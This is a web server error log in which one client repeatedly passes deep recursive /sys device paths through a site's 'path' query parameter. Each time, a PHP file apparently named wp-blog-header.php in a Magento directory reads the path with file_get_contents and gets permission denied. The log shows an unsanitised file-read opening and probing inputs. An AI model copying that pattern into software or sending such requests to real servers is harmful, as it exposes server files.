[Thu Mar 26 11:43:25.193777 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ac
[Thu Mar 26 11:43:28.870698 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ce
[Thu Mar 26 11:43:29.950235 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ac
[Thu Mar 26 11:43:31.472062 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/device:fe/subsystem
[Thu Mar 26 11:43:32.557879 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:dc
[Thu Mar 26 11:43:33.109941 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ca
[Thu Mar 26 11:43:34.187250 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:43:34.740463 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:43:35.787786 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:43:38.597550 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:43:39.673372 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:dc
[Thu Mar 26 11:43:40.776952 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:44:03.594690 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:44:05.233741 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ea
[Thu Mar 26 11:44:05.785270 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:44:08.349909 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:44:11.055001 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:44:11.521488 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:da
[Thu Mar 26 11:44:22.687184 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ca
[Thu Mar 26 11:44:27.537689 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:fe
[Thu Mar 26 11:44:29.053783 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:44:33.227636 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:44:34.298594 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:de
[Thu Mar 26 11:44:36.397106 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 11:44:36.905991 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:44:37.434138 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:44:41.732055 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 11:44:44.597571 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ee
[Thu Mar 26 11:44:45.054792 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:dc
[Thu Mar 26 11:44:46.134408 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fe
[Thu Mar 26 11:44:48.716167 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be
[Thu Mar 26 11:44:50.787432 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:cc
[Thu Mar 26 11:44:54.555593 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ca
[Thu Mar 26 11:44:56.068930 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fc
[Thu Mar 26 11:44:58.197946 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:cc
[Thu Mar 26 11:44:58.717191 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:be
[Thu Mar 26 11:45:00.825195 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 11:45:02.336933 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:45:04.571046 2026] [php:warn] [pid 3106405] [client 74.7.241.26:32824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:45:08.429697 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:45:10.079477 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ac
[Thu Mar 26 11:45:12.682767 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 11:45:15.293699 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:45:17.452001 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fe
